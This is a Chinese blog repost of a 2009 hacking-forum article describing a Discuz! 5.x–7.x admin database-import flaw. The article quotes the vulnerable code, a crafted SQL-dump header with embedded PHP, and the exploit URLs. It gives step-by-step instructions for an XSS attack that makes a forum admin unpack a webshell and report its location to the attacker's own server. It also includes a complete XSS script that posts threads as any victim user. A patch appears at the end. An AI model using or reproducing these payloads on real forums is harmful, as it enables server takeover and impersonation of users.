数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



通杀Discuz 5.x 6.x 7.x--database XSS
樱木花盗 发表于 2009-10-19 19:06:19
by racle @tian6.com
欢迎转帖,但请保留版权信息
受影响版本Discuz 5.0 _ 5.5 _ 6.0 _ 6.1 _ 7.0 gbk+utf+big5


database任意路径解压缩漏洞官方已经补了,目前这个方法已经无法得到WEBSHELL.冒充别人发帖,删帖,改帖应该不受影响.特此通知.


-----------------------------------------------------------前言-------------------------------------------------------------------------

   最近DZ漏洞多多,而且都比较有趣.上次天阳公布的后台修改配置信息的漏洞,因为DZ6.1以后版本都默认补了,相信不少小黑很失望.但是最近,Superhei&ring04h又爆出了一个后台database.inc.php的漏洞,该洞目前为止没补丁.一个XSS点或者FLASH-XSS,CRSF,所有DZ版本通杀.

这个漏洞本身需要后台权限,怎么才能以普通会员身份所用?
分析过程中幸得Superhei提点.加快了进度.在此感谢.


本帖受TIM邀请发布~~需要注意的一点是这个EXP是非常有争对和目标性的,一般是做有争对性的攻击时使用.我非常建议你先好好看看本文和相关的3个帖子.用之前需要勘察对方论坛的版本,上传目录是否更改过,存在哪些XSS问题.然后在把这个EXP做相应修改,再开始使用.这样只要你的方法对路,自然能获得其WEBSHELL.
附件密码回复可见.回帖的朋友,再送你一个意外惊喜.这里只做技术研究,点到为止,同时为大家附上修补方法,回复可见!

本论坛相关的三篇文章:
[已更新]Discuz XSS得webshell
配合Discuz得shell-Flash XSS
立刻送上一个DZ XSS.哈哈.




-------------------------------------------------原漏洞详细解析-----------------------------------------------------------------------------
这里引用该漏洞原来的介绍:
  1. Discuz! admin\database.inc.php get-webshell bug

  2. author: ring04h
  3. team:http://www.80vul.com

  4. [该漏洞由ring04h发现并且投递,thx]
  5. 由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

  6. 一 分析

  7. 在文件admin\database.inc.php里代码:

  8. .....
  9. elseif($operation == 'importzip') {

  10.         require_once DISCUZ_ROOT.'admin/zip.func.php';
  11.         $unzip = new SimpleUnzip();
  12.         $unzip->ReadFile($datafile_server);
  13.         if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
  14.                 cpmsg('database_import_file_illegal', '', 'error');
  15.         }

  16.         $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
  17.         $confirm = !empty($confirm) ? 1 : 0;
  18.         if(!$confirm && $identify[1] != $version) {
  19.                 cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
  20.         }

  21.         $sqlfilecount = 0;
  22.         foreach($unzip->Entries as $entry) {
  23.                 if(preg_match("/\.sql$/i", $entry->Name)) {
  24.                         $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
  25.                         fwrite($fp, $entry->Data);
  26.                         fclose($fp);
  27.                         $sqlfilecount++;
  28.                 }
  29.         }
  30. ......

  31. 注意2点
  32. 1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
  33. 2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

  34. # Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
  35. # <?phpinfo();?>
  36. # <?exit();?>
  37. # Discuz! Multi-Volume Data Dump Vol.1
  38. # Version: Discuz! 6.1.0
  39. # Time: 2008-11-27 11:38
  40. # Type: discuz
  41. # Table Prefix: cdb_

  42. 二 利用

  43. 提交:

  44. <6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
  45. =6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

  46. 三 补丁[fix]

复制代码
漏洞起因很清楚了,疏忽大意是安全最大的敌人.




------------------------------------------------大至XSS广泛利用原理---------------------------------------------------------------------
很简单,还是XSS等延伸.

XSS跳到JS,JS获得管理员HASH,模拟POST+GET提交这个备份数据库解压缩工作.这里关键主要两个:
一是上传后的物理路径如何获得.
二是备份后的路径如何获得.

一采用读取后台管理信息取得.
二通过geturl发送到外部文件中去.

其他的所有技术细节,在上面两篇文章都有说过.欢迎大家回去看看.




-------------------------------------------------------广泛利用及测试办法---------------------------------------------------------------------
附件提供3个附件,分别争对DZ 6.0 6.1 7.0三个版本.其他版本和这三个版本的差别主要在数据库导出的文件版本不同,还有一些很细微的小差异,我就不弄了.你有需要的话,自己看前面的帖子,搞明白怎么回事,就可以自己改了.

每个附件里面有3个文件,一个PHP,一个JS,一个ZIP.JS文件里面要修改1个小地方,里面都有说明.这里就不多说了.
racle.php要放到你自己的空间里,要支持PHP的空间.这个文件当管理员中招以后,会在同目录位置写出个listdewebshell.txt,里面是你的WEBSHELL所在位置.
racle.js是要XSS的JS文件.放哪里都可以.
racle2@tian6.zip是你要上传到该论坛的压缩文件.

利用具体步骤为:找到目标论坛,注册一个用户,然后上传一个racle2@tian6.zip.然后把PHP放在你的空间,把JS也放好,然后在目标论坛XSS这个racle.js,然后就等.一旦PHP文件同目录下出现了listdewebshell.txt,你就可以偷笑了.


测试具体步骤为:本地搭建任一版本DZ,随便选一个PHP,在最前面加上<script src=racle.js></script>,同时racle.js,racle.php放在该PHP同目录下,进入论坛,点击包含JS的PHP文件,即产生listdewebshell.txt.


-------------------------------------------------------注意事项---------------------------------------------------------------------
目前该漏洞属于通杀,也就是管理员中了你的XSS,就有WEBSHELL.DZ官网也如此.
但是有几个原则问题要说明一下:

首先是对方论坛的上传路径,上传文件目录什么的,要求没有改过.一般99%都没改过.改过也不是没办法,你先上传个图片,看看对方的物理路径是什么,然后改改文件就PASS了.

其次是你在别人论坛注册的用户名不要上传别的文件,只上传一次相应的ZIP.

然后是这几个ZIP文件我不保证也能用在别人的版本上,按道理是没问题的.这几个ZIP就是数据库备份出来的SQL文件的修改压缩版本.你不妨打开这些ZIP文件里面的SQL文件看看就知道我改了什么.

如果你使用出现什么bugs,欢迎回贴告诉我.能解决就解决掉~~



-----------------------------------------------解压密码及意外惊喜----------------------------------------------------------------

本帖隐藏的内容需要回复才可以浏览

密码为:tian6.comismydude

既然你回帖了,就再另外送你一个XSS,冒充论坛任意成员在任意版块发任何帖的JS.纯属娱乐,希望大家不要捣乱.转帖也要注明出处.racle@tian6.com.效果也是通杀所有DZ论坛版本.这个是6.1版本的.不同版本有很小差异,自己改改就可以了.
  1. var url="http://论坛地址/";
  2. var subject="what a funny subject~~^^"; //帖子标题
  3. var contenu="what is racle?"; //帖子内容
  4. var channelid="2";想要对方发在版块的ID.

  5. var request = false;
  6.         if(window.XMLHttpRequest) {
  7.             request = new XMLHttpRequest();
  8.             if(request.overrideMimeType) {
  9.                 request.overrideMimeType('text/xml');
  10.             }
  11.         } else if(window.ActiveXObject) {
  12.             var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  13.             for(var i=0; i<versions.length; i++) {
  14.                 try {
  15.                     request = new ActiveXObject(versions[i]);
  16.                 } catch(e) {}
  17.             }
  18.         }
  19. xmlHttpReq=request;
  20. /*hash*/

  21. xmlHttpReq.open("GET", url+"memcp.php", false);
  22. xmlHttpReq.send(null);
  23. var resource = xmlHttpReq.responseText;
  24. var numero = resource.search(/formhash/);
  25. var formhash=encodeURIComponent(resource.substr(numero+9,8));

  26. var post=decodeURI("formhash="+formhash+"&frombbs=1&subject="+subject+"&posteditor_mediatyperadio=on&message="+contenu+"&attach[]=&filename===&localid[]=&attachperm[]=0&attachprice[]=0&attachdesc[]=&attach[]=&filename===&localid[]=1&attachperm[]=0&attachprice[]=0&attachdesc[]=&tags=&readperm=0&price=0&iconid=0&wysiwyg=0");
  27. xmlHttpReq.open("POST",url+"post.php?action=newthread&fid="+channelid+"&extra=page%3D1&topicsubmit=yes",false);
  28. xmlHttpReq.setRequestHeader("Referer", url);
  29. xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
  30. xmlHttpReq.setRequestHeader("content-length",post.length);
  31. xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
  32. xmlHttpReq.send(post);
复制代码
附上database.inc.php漏洞修补办法:
  1. admin\database.inc.php

  2. 搜索$sqlfilecount = 0;,找到
  3. $sqlfilecount = 0;
  4.         foreach($unzip->Entries as $entry) {
  5.                 if(preg_match("/\.sql$/i", $entry->Name)) {
  6.                         $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
  7.                         fwrite($fp, $entry->Data);
  8.                         fclose($fp);
  9.                         $sqlfilecount++;

  10. 改成
  11. $sqlfilecount = 0;
  12.         foreach($unzip->Entries as $entry) {
  13.                 if(preg_match("/\.sql$/i", $entry->Name)) {
  14.                         $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
  15.                 fwrite($fp, '<?php exit;?>');
  16.                         fwrite($fp, $entry->Data);
  17.                         fclose($fp);
  18.                         $sqlfilecount++;
复制代码

阅读全文 | 回复(2) | 引用通告 | 编辑
 


Re:通杀Discuz 5.x 6.x 7.x--database XSS
蜡笔小新(游客)发表评论于2009-10-19 23:10:40
没有恶意袭击别人的话额 ?

个人主页 | 引用 | 返回 | 删除 | 回复
 


Re:通杀Discuz 5.x 6.x 7.x--database XSS
000000000(游客)发表评论于2010-1-17 23:47:02
看咯看

个人主页 | 引用 | 返回 | 删除 | 回复
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.